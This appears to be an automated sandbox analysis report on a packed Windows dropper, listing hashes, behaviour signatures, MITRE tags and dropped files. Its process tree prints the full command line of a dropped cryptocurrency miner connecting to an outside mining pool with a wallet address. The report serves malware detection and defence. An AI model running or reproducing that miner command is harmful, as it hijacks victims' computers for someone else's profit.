73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24-02-2024 06:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3172	b2e.exe
2156	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2304-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3608 wrote to memory of 2156	3608	cmd.exe	78
PID 3608 wrote to memory of 2156	3608	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe

Filesize
1.4MB

MD5
5d731c79fd27ebde3035092a2ce6c014

SHA1
c1185dc1f454181335c409eaeb3eb7c2e2d8e351

SHA256
a2df777f659b48ed2732f6237d844daf1ee4a5b07f091adc012541e5165c3180

SHA512
60bf62ab253ee5451db175fb6ca1aeb224f160ed5cedcf86be6c0fc769cbce8ea96cf71de0255c6394fb7036a174cf30a3e015ea0a27c057d25d01329317cd83

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A3E.tmp\b2e.exe

Filesize
1.7MB

MD5
4f84d6a2dec298273cb5ddbb1716f28b

SHA1
8436f1db2445a376fc13a29ec7421ce10c909153

SHA256
fe31ffc4dbc229a31fce80cb9acee70e07298a24bdc6f818d133722cfc06e140

SHA512
7c60c92ab67732cf33b32b3e95b197f144c8fb8aebd819d08ccfff34be38bb1f9d44d3aed45fcfb2222132edfd3566b599d44c468e4e2195f18f8a90debc3793

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
53b021f335215e2d9342087bf0fc2a84

SHA1
ab5b0de2b1b000e65af71ec9d1b332951f262c3a

SHA256
22c36334ba6efbcfd84216893ac95ca92f6db005b8165498127116486c341eea

SHA512
9675bca28d413aa8a512c7e5cea1b053e7ecf0449029b810d417967385b7b13f93561e88fb6fd8920f59e41b988bf40fadc8fe4a2bf15f3622d9cf1339377a22

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
2a16130a58951bb3854002fd3de6cce9

SHA1
272623a743e94b1f1e1ccd856160045c5809e729

SHA256
386d917bba1715fb004b02ff35136b4015e06667bdc1189ce64402a2e6b85a24

SHA512
8513ea0b225b5ba7d270c111a1b7d2025c393c3240c32cc8f64c61822dac6388affb548f90b96b419e03f3d0052d00c7108142346bc054f4a67b54c3cf35538a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
ebdbe4d8232d0f9e8f019ff5dd2b762d

SHA1
d231dfd33d8f97d787616e6b87a51d13028e863f

SHA256
92f67919efe7786fc8af119662fc43c85afef1c1d4b089d6469cb3072b497cb4

SHA512
953fd831c149ce4e448a3f43a4463ca81c5c5ea6d3c6c1af5fca2f626f09354454613347c41b30ea182044c9767d579ef1b15a343908377345831f29abc4ee66

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
247314f353590683b2b6ebf90cec156b

SHA1
c77d7d695b60eb3332a5def5b8692bb9109a169f

SHA256
fd6c95983266951eb88a192a21bd69bdd4930815f50b385d2228b07303782c97

SHA512
5a1485b78216835dcd097e99fe32c338b68c0035dbb7cb8fe2d3e5ee1d24d45699adc286fd18bd2136ef92d0ca0880775129499528d54e541e8ac4c04a5b92c4

Download Submit
memory/2156-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2156-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-43-0x000000006E140000-0x000000006E1D8000-memory.dmp

Filesize
608KB

Download
memory/2156-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2156-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2156-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3172-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download